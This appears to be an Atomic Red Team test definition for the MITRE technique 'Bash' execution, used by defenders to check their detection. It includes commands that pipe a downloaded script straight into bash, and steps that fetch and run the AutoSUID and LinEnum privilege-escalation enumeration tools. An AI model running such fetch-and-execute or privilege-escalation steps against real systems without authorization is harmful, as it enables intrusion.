  attack_technique: T1059.004
  display_name: 'Command and Scripting Interpreter: Bash'
  atomic_tests:
  - name: Create and Execute Bash Shell Script
    auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873
    description: |
      Creates and executes a simple bash script.
    supported_platforms:
    - macos
    - linux
    input_arguments:
      script_path:
        description: Script path
        type: Path
        default: /tmp/art.sh
    executor:
      command: |
        sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
        sh -c "echo 'ping -c 4 8.8.8.8' >> #{script_path}"
        chmod +x #{script_path}
        sh #{script_path}
      cleanup_command: |
        rm #{script_path}
      name: sh
  - name: Command-Line Interface
    auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c
    description: |
      Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

      Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
    supported_platforms:
    - macos
    - linux
    executor:
      command: |
        curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
        wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
      cleanup_command: |
        rm /tmp/art-fish.txt
      name: sh
  - name: Harvest SUID executable files
    description: |
      AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. 
    supported_platforms:
    - linux 
    input_arguments:
      autosuid:
        description: Path to the autosuid shell script
        type: Path
        default: PathToAtomicsFolder/T1059.004/src/AutoSUID.sh
      autosuid_url:
        description: Path to download autosuid shell script
        type: Url
        default: https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh
    dependency_executor_name: bash
    dependencies:
    - description: |
        AutoSUID must exist on disk at specified location (#{autosuid})
      prereq_command: |
        if [ -f #{autosuid} ]; then exit 0; else exit 1; fi;
      get_prereq_command: |
        curl #{autosuid_url} --output #{autosuid}
    executor:
      command: |
        chmod +x #{autosuid}
        bash #{autosuid}
      name: sh

  - name: LinEnum tool execution
    description: |
      LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
    supported_platforms:
    - linux 
    input_arguments:
      linenum:
        description: Path to the LinEnum shell script
        type: Path
        default: PathToAtomicsFolder/T1059.004/src/LinEnum.sh
      linenum_url:
        description: Path to download LinEnum shell script
        type: Url
        default: https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
    dependency_executor_name: bash
    dependencies:
    - description: |
        LinnEnum must exist on disk at specified location (#{linenum})
      prereq_command: |
        if [ -f #{linenum} ]; then exit 0; else exit 1; fi;
      get_prereq_command: |
        curl #{linenum_url} --output #{linenum}
    executor:
      command: |
        chmod +x #{linenum}
        bash #{linenum}
      name: sh